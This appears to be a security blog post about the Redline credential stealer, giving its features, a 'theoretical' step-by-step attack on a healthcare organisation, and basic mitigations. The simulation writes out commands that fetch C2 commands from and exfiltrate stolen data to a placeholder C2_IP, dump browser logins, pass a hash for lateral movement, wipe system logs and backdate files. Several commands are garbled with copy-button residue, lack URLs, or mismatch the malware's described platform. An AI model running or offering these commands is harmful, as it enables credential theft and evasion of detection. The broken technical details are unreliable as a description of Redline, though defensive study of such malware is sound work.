In the ever-evolving landscape of cyber threats, Redline malware has emerged as a significant player. First observed in March 2020, its prominence has only grown, making it imperative for cybersecurity professionals to understand its intricacies. In this blog, we’ll delve deep into the technical aspects of Redline, supplemented by theoretical scenarios to simulate its attack process.

Technical Overview of Redline

  1. Origins and Evolution: Redline was first observed in March 2020. By September 2021, 1,473 samples were submitted to the AnyRun online sandbox, implicating 2,600 domains and 405 unique IP addresses.
  2. Features:
    • Data Exfiltration: Redline is adept at stealing credentials, cryptocurrency wallets, browser information, and FTP authentication data.
    • System Profiling: It gathers extensive details about the infected machine, including OS, hardware, active processes, and system language.
    • Communication: The malware is written in C# and uses a SOAP API for C2 (Command and Control) communication.
  3. Distribution Mechanism: Redline primarily spreads through malicious emails. It operates on a MaaS (malware-as-a-service) model and is available for purchase on underground forums. Intriguingly, it even has an official Telegram channel for transactions.

Theoretical Attack Simulation

Scenario: A Healthcare Organization Targeted by Redline

  1. Infiltration:
    • Spear-phishing email with embedded URL: curl -O
    • Execution of the binary, deploying the dropper:bashCopy codechmod +x redline-payload.bin && ./redline-payload.bin
  2. Activation:
    • Create a mutex to ensure a single instance: if [ ! -e /tmp/redline_mutex.lock ]; then touch /tmp/redline_mutex.lock; fi
    • Check for virtual environments:bashCopy codecat /proc/cpuinfo | grep -i 'vmware\|virtual'
    • Extract browser credentials:bashCopy codesqlite3 ~/.mozilla/firefox/*.default/login.json "SELECT * FROM logins";
  3. Communication with C2:
    • Establish a TLS encrypted channel: openssl s_client -connect C2_IP:443 -tls1_2
    • Receive encrypted commands:pythonCopy codecurl -s -k https://C2_IP/commands.enc | openssl enc -d -aes-256-cbc -pass pass:decrypt_key
  4. Propagation:
    • Scan the network for open SMB or RDP ports:nmap -p 445,3389
    • Pass-the-Hash for lateral movement: pth-winexe -U admin%aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c //TARGET_IP cmd
  5. Data Exfiltration:
    • Encrypt data using AES: openssl enc -aes-256-cbc -salt -in stolen_data.txt -out stolen_data.enc -pass pass:encryption_key
    • Send data to C2 server: curl -X POST -d @stolen_data.enc https://C2_IP/upload
  6. Covering Tracks:
    • Delete logs:javascript> /var/log/auth.log && > /var/log/syslog
    • Alter timestamps of files:touch -d "1 year ago" redline-payload.bin
    • Deploy decoy malware:wget && chmod +x decoy_payload.bin

Protection and Mitigation

While Redline is sophisticated, organizations can take steps to protect themselves:

  1. User Training: Employees should be trained to recognize phishing emails and avoid clicking on suspicious links.
  2. Regular Updates: Ensure all software, especially OS and browsers, are regularly updated to patch known vulnerabilities.
  3. Network Monitoring: Employ advanced network monitoring tools to detect unusual activities.
  4. Incident Response: Have a robust incident response plan in place to act swiftly if an infection is detected.


Redline malware, with its advanced features and stealthy operations, poses a significant threat to organizations worldwide. By understanding its technical workings and simulating its attack process, cybersecurity professionals can better prepare and defend against such sophisticated threats. As always, proactive defense, combined with continuous monitoring, remains the best strategy against evolving cyber threats.

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